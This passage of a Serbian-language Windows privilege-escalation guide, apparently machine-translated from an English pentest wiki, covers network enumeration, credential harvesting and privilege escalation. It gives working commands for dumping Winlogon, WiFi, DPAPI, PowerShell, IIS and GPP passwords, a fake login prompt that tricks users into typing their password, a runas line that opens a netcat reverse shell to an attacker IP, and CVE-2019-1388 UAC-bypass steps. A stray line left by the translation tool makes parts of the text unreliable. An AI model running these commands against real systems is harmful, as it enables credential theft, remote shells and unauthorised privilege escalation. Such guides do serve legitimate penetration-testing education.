Proverite dozvole za sve foldere unutar PATH-a:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Za više informacija o tome kako zloupotrebiti ovu proveru:

Writable Sys Path +Dll Hijacking Privesc

Mreža

Deljeni resursi

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Proverite da li su drugi poznati računari hardkodirani u hosts file

type C:\Windows\System32\drivers\etc\hosts

Mrežni interfejsi & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Otvoreni portovi

Proverite sa spoljne strane da li su dostupni ograničeni servisi

netstat -ano #Opened ports?

Tabela rutiranja

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP tabela

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Pravila firewall-a

Check this page for Firewall related commands (listanje pravila, kreiranje pravila, isključivanje, isključivanje…)

Više commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binarni fajl bash.exe se takođe može naći u C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Ako dobijete root korisnika, možete slušati na bilo kojem portu (prvi put kada koristite nc.exe da slušate port, GUI će vas pitati da li nc treba da bude dozvoljen od strane firewalla).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Da biste lako pokrenuli bash kao root, možete probati --default-user root

Možete istražiti WSL fajl sistem u folderu C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

Iz https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault čuva korisničke credentials za servere, web-sajtove i druge programe koje Windows može automatski prijaviti korisnike. Na prvi pogled ovo može izgledati kao da korisnici mogu da sačuvaju svoje Facebook credentials, Twitter credentials, Gmail credentials itd., tako da se automatski prijavljuju u pregledačima. Ali nije tako.

Windows Vault čuva credentials koje Windows može koristiti za automatsku prijavu korisnika, što znači da bilo koja Windows application that needs credentials to access a resource (server ili web-sajt) can make use of this Credential Manager & Windows Vault i koristi sačuvane credentials umesto da korisnici svaki put unose korisničko ime i lozinku.

Ako aplikacije ne komuniciraju sa Credential Manager-om, mislim da nije moguće da koriste credentials za određeni resurs. Dakle, ako vaša aplikacija želi da koristi vault, ona treba na neki način da communicate with the credential manager and request the credentials for that resource iz podrazumevanog storage vault-a.

Koristite cmdkey da izlistate sačuvane credentials na mašini.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Zatim možete koristiti runas sa opcijom /savecred kako biste koristili sačuvane kredencijale. Sledeći primer poziva udaljeni binary putem SMB share-a.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Korišćenje runas sa prosleđenim skupom credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Imajte na umu da mimikatz, lazagne, credentialfileview, VaultPasswordView, ili od Empire Powershells module.

DPAPI

The Data Protection API (DPAPI) pruža metod za simetričnu enkripciju podataka, pretežno korišćen u Windows operativnom sistemu za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi korisničku ili sistemsku tajnu koja značajno doprinosi entropiji.

DPAPI omogućava enkripciju ključeva putem simetričnog ključa izvedenog iz korisničkih podataka za prijavu. U slučajevima sistemske enkripcije, koristi sistemske tajne za autentifikaciju domena.

Šifrovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u direktorijumu %APPDATA%\Microsoft\Protect\{SID}, gde {SID} predstavlja korisnikov Security Identifier. DPAPI key, co-located with the master key that safeguards the user’s private keys in the same file, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, pa njegovo sadržaj nije moguće ispisati komandom dir u CMD, iako se može navesti putem PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Možete koristiti mimikatz module dpapi::masterkey sa odgovarajućim argumentima (/pvk ili /rpc) да га дешифрујете.

Fajlovi sa credentials zaštićeni master password-om se obično nalaze u:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
Možete koristiti mimikatz module dpapi::cred sa odgovarajućim /masterkey da dešifrujete.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).

Možete izvući mnoge DPAPI masterkeys iz memorije pomoću modula sekurlsa::dpapi (ako ste root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials are often used for scripting and automation tasks as a way to store encrypted credentials conveniently. The credentials are protected using DPAPI, which typically means they can only be decrypted by the same user on the same computer they were created on.

PowerShell kredencijali se često koriste za scripting i zadatke automatizacije kao način da se pogodno čuvaju šifrovani kredencijali. Kredencijali su zaštićeni pomoću DPAPI, što obično znači da ih može dešifrovati samo isti korisnik na istom računaru na kojem su kreirani.

To decrypt a PS credentials from the file containing it you can do: Da biste dešifrovali PS kredencijale iz fajla koji ih sadrži, možete uraditi:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Sačuvane RDP konekcije

Možete ih pronaći na HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i u HKCU\Software\Microsoft\Terminal Server Client\Servers\

Nedavno pokrenute komande

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote Desktop Credential Manager

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **decrypt any .rdg files\ Možete **izvući mnoge DPAPI masterkeys** iz memorije pomoću **Mimikatz** modula sekurlsa::dpapi`

Sticky Notes

Ljudi često koriste StickyNotes aplikaciju na Windows radnim stanicama da bi sačuvali lozinke i druge informacije, ne shvatajući da je to fajl baze podataka. Ovaj fajl se nalazi na C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i uvek vredi potražiti i pregledati.

AppCmd.exe

Imajte na umu da za vraćanje lozinki iz AppCmd.exe morate biti Administrator i pokretati ga sa High Integrity level.
AppCmd.exe se nalazi u direktorijumu %systemroot%\system32\inetsrv\.\
Ako ovaj fajl postoji, moguće je da su neke credentials konfigurirane i mogu biti recovered.

This code was extracted from PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Proverite da li C:\Windows\CCM\SCClient.exe postoji.
Instalacioni programi se pokreću sa SYSTEM privileges, mnogi su ranjivi na DLL Sideloading (Informacije iz https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Fajlovi i Registry (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH host ključevi

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys u registru

SSH private keys mogu biti sačuvani u registru pod ključem HKCU\Software\OpenSSH\Agent\Keys, pa treba da proverite da li se tamo nalazi nešto zanimljivo:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Ako pronađete bilo koji unos unutar tog puta, verovatno je u pitanju sačuvan SSH ključ. Sačuvan je šifrovano, ali se lako može dešifrovati koristeći https://github.com/ropnop/windows_sshagent_extract.
Više informacija o ovoj tehnici ovde: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Ako ssh-agent servis nije pokrenut i želite da se automatski pokreće pri podizanju sistema, pokrenite:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Izgleda da ova tehnika više nije validna. Pokušao sam da kreiram neke ssh keys, dodam ih pomoću ssh-add i prijavim se preko ssh na mašinu. Registry HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao upotrebu dpapi.dll tokom asymmetric key authentication.

Datoteke ostavljene bez nadzora

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Takođe možete pretražiti ove fajlove pomoću metasploit: post/windows/gather/enum_unattend

Primer sadržaja:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM rezervne kopije

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud kredencijali

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Potražite fajl pod imenom SiteList.xml

Cached GPP Pasword

Ranije je postojala funkcionalnost koja je omogućavala deployment prilagođenih lokalnih administratorskih naloga na grupi mašina putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne bezbednosne nedostatke. Prvo, Group Policy Objects (GPOs), koji su skladišteni kao XML fajlovi u SYSVOL, mogli su biti pristupljeni od strane bilo kog domain korisnika. Drugo, lozinke unutar ovih GPP-ova, šifrovane sa AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dekriptovane od strane bilo kog autentifikovanog korisnika. Ovo je predstavljalo ozbiljan rizik, jer je moglo omogućiti korisnicima da dobiju povišene privilegije.

Da bi se ublažio ovaj rizik, razvijena je funkcija koja pretražuje lokalno keširane GPP fajlove koji sadrže polje “cpassword” koje nije prazno. Nakon pronalaska takvog fajla, funkcija dekriptuje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat sadrži detalje o GPP i lokaciji fajla, pomažući u identifikaciji i otklanjanju ove bezbednosne ranjivosti.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (pre Windows Viste) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Da dešifrujete cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Korišćenje crackmapexec-a za dobijanje lozinki:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web konfiguracija

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Primer web.config-a sa kredencijalima:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN podaci za prijavu

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logovi

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pitajte za credentials

Uvek možete zamoliti korisnika da unese svoje credentials ili čak credentials drugog korisnika ako mislite da ih može znati (imajte na umu da je pitati klijenta direktno za credentials zaista rizično):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Mogući nazivi fajlova koji sadrže credentials

Poznati fajlovi koji su pre nekog vremena sadržavali passwords u clear-text ili Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Ne vidim sadržaj datoteke. Pošaljite tekst iz src/windows-hardening/windows-local-privilege-escalation/README.md ili precizirajte koje “proposed files” da pretražim.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Podaci za prijavu u Kanti za otpatke

Takođe proverite Kantu (Bin) da biste pronašli podatke za prijavu u njoj

Za oporavak lozinki sačuvanih od strane više programa možete koristiti: http://www.nirsoft.net/password_recovery_tools.html

Unutar registra

Drugi mogući ključevi registra sa podacima za prijavu

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Istorija pregledača

Treba da proverite dbs gde su sačuvane lozinke iz Chrome or Firefox.
Takođe proverite history, bookmarks i favourites pregledača jer možda su neke passwords sačuvane tamo.

Alati za ekstrakciju lozinki iz pregledača:

COM DLL Overwriting

Component Object Model (COM) je tehnologija ugrađena u Windows operating system koja omogućava međusobnu komunikaciju između softverskih komponenti pisanih u različitim jezicima. Svaka COM komponenta je identifikovana preko class ID (CLSID) i svaka komponenta izlaže funkcionalnost preko jedne ili više interfejsa, identifikovanih preko interface IDs (IIDs).

COM classes i interfaces su definisani u registry pod HKEY\CLASSES\ROOT\CLSID i HKEY\CLASSES\ROOT\Interface respektivno. Ovaj registry se kreira spajanjem HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Unutar CLSID-ova u ovom registriju možete naći child registry InProcServer32 koji sadrži default value koja pokazuje na DLL i vrednost nazvanu ThreadingModel koja može biti Apartment (jednonitni), Free (višenitni), Both (jedno- ili višenitni) ili Neutral (neutralan u pogledu niti).

U suštini, ako možete overwrite-ovati bilo koji od DLL-ova koji će biti izvršeni, mogli biste escalate privileges ako taj DLL bude izvršen od strane drugog korisnika.

Da naučite kako napadači koriste COM Hijacking kao mehanizam za persistence, pogledajte:

COM Hijacking

Generic Password search in files and registry

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Pretraži datoteku sa određenim imenom

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Pretražite registry za imena ključeva i lozinki

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Alati koji pretražuju passwords

MSF-Credentials Plugin is a msf plugin koji sam napravio da automatically execute every metasploit POST module that searches for credentials unutar žrtve.
Winpeas automatski pretražuje sve fajlove koji sadrže passwords pomenute na ovoj stranici.
Lazagne je još jedan odličan alat za izvlačenje password iz sistema.

Alat SessionGopher traži sessions, usernames i passwords nekoliko alata koji čuvaju ove podatke u clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Zamislite da proces koji radi kao SYSTEM otvori novi proces (OpenProcess()) sa full access. Isti proces takođe kreira novi proces (CreateProcess()) sa low privileges ali nasledjujući sve otvorene handles glavnog procesa.
Zatim, ako imate full access na low privileged procesu, možete dohvatiti open handle ka privilegovanom procesu kreiranom pomoću OpenProcess() i inject a shellcode.
Pročitajte ovaj primer za više informacija o kako detektovati i iskoristiti ovu ranjivost.
Pročitajte ovaj drugi post za potpunije objašnjenje kako testirati i zloupotrebiti više open handlers procesa i threadova nasleđenih sa različitim nivoima permisija (ne samo full access).

Named Pipe Client Impersonation

Segmenti deljene memorije, poznati kao pipes, omogućavaju komunikaciju između procesa i prenos podataka.

Windows pruža funkciju nazvanu Named Pipes, koja dozvoljava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo podseća na client/server arhitekturu, sa ulogama definisanim kao named pipe server i named pipe client.

Kada podaci budu poslati kroz pipe od strane client, server koji je postavio pipe ima mogućnost da preuzme identitet clienta, pod uslovom da ima neophodna SeImpersonate prava. Identifikovanje privilegovаnog procesa koji komunicira preko pipe-a koji možete imitirati pruža priliku da steknete više privilegija preuzimanjem identiteta tog procesa kada on interaguje sa pipe-om koji ste kreirali. Za instrukcije kako izvesti takav napad, korisni vodiči se nalaze ovde i ovde.

Takođe, sledeći alat omogućava interceptovanje komunikacije named pipe-a sa alatom poput burp-a: https://github.com/gabriel-sztejnworcel/pipe-intercept i ovaj alat omogućava listanje i pregled svih pipe-ova da biste pronašli privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Telephony servis (TapiSrv) u server modu izlaže \\pipe\\tapsrv (MS-TRP). Remote authenticated klijent može zloupotrebiti mailslot-bazirani async event path da pretvori ClientAttach u proizvoljno 4-byte write u bilo koji postojeći fajl koji je writable od strane NETWORK SERVICE, zatim steći Telephony admin prava i učitati proizvoljni DLL kao servis. Komplektan tok:

  • ClientAttach sa pszDomainUser postavljenim na writable postojeću putanju → servis je otvori preko CreateFileW(..., OPEN_EXISTING) i koristi ga za async event writes.
  • Svaki event upisuje attacker-controlled InitContext iz Initialize u taj handle. Registrujte line app sa LRegisterRequestRecipient (Req_Func 61), pokrenite TRequestMakeCall (Req_Func 121), preuzmite preko GetAsyncEvents (Req_Func 0), potom unregister/shutdown da ponovite determinističke upise.
  • Dodajte sebe u [TapiAdministrators] u C:\Windows\TAPI\tsec.ini, reconnect-ujte se, zatim pozovite GetUIDllName sa proizvoljnom DLL putanjom da izvršite TSPI_providerUIIdentify kao NETWORK SERVICE.

Više detalja:

Telephony Tapsrv Arbitrary Dword Write To Rce

Razno

File Extensions that could execute stuff in Windows

Pogledajte stranicu https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

Klikabilni Markdown linkovi koji se prosleđuju na ShellExecuteExW mogu pokrenuti opasne URI handlere (file:, ms-appinstaller: ili bilo koji registrovani scheme) i izvršiti fajlove pod kontrolom napadača kao trenutnog korisnika. Vidi:

Protocol Handler Shell Execute Abuse

Monitoring Command Lines for passwords

Kada dobijete shell kao korisnik, mogu postojati scheduled tasks ili drugi procesi koji se pokreću i koji pass credentials on the command line. Skripta ispod hvata process command lines na svake dve sekunde i upoređuje trenutni status sa prethodnim, ispisujući sve razlike.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Krađa lozinki iz procesa

Od korisnika sa niskim privilegijama do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Ako imate pristup grafičkom interfejsu (putem konzole ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows moguće je pokrenuti terminal ili bilo koji drugi proces kao “NT\AUTHORITY SYSTEM” iz naloga bez privilegija.

Ovo omogućava eskalaciju privilegija i zaobilaženje UAC-a istovremeno istom ranjivošću. Dodatno, nije potrebno ništa instalirati, a binarni fajl koji se koristi tokom procesa je potpisan i izdat od strane Microsoft-a.

Neki od pogođenih sistema su sledeći:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Da biste iskoristili ovu ranjivost, potrebno je izvršiti sledeće korake:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Svi potrebni fajlovi i informacije nalaze se u sledećem GitHub repozitorijumu:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Pročitajte ovo da biste naučili o nivoima integriteta:

Integrity Levels

Zatim pročitajte ovo da biste naučili o UAC i UAC bypass-ovima:

UAC - User Account Control

